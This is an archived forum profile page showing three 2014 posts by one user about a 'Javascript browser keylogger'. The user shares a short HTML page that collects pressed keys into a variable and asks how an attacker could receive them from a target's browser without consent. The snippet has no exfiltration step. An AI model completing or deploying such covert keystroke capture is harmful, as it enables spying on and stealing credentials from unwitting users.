This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - DukeSe

Pages: [1]
1
Web Oriented Coding / Re: Javascript browser keylogger
« on: June 17, 2014, 09:59:53 PM »
Thnx fr that man, I misundrstd that code!

2
Web Oriented Coding / Re: Javascript browser keylogger
« on: June 17, 2014, 09:03:07 PM »
If i am right 'Sen' variable stores the keystrokes!

3
Web Oriented Coding / Javascript browser keylogger
« on: June 17, 2014, 10:41:28 AM »
I just wondered if anyone can take a look at this simple javascript code and tell me if could be used as a browser keylogger, by running the script on the target's browser without his/her consent! The problem is how the contents of  variable 'sen' could be recieved by the attacker?
Code: [Select]
<html>
<head>
<title>
notepad
</title>
<script>
sen="";
function display(eve) {
if (eve.keycode) key=eve.keycode;
else key=eve.which;
k=String.fromCharCode(key);
sen=sen+k;
}
</script>
</head>
<body onKeyPress="display(event)">
</body>
</html>

Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.